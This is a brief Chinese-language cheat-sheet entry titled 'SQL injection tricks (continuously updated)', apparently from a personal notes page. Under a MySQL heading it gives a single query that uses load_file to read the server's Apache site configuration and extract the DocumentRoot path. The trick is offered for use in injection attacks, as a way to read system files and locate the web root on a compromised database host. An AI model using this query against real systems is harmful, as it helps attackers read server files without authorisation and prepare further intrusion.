SQL注入技巧（持续更新）

MySql

读web路径

select substring_index(replace(load_file('/etc/apache2/sites-enabled/000-default.conf'),substring_index(load_file('/etc/apache2/sites-enabled/000-default.conf'),'DocumentRoot',1),''),'\n',1) as test;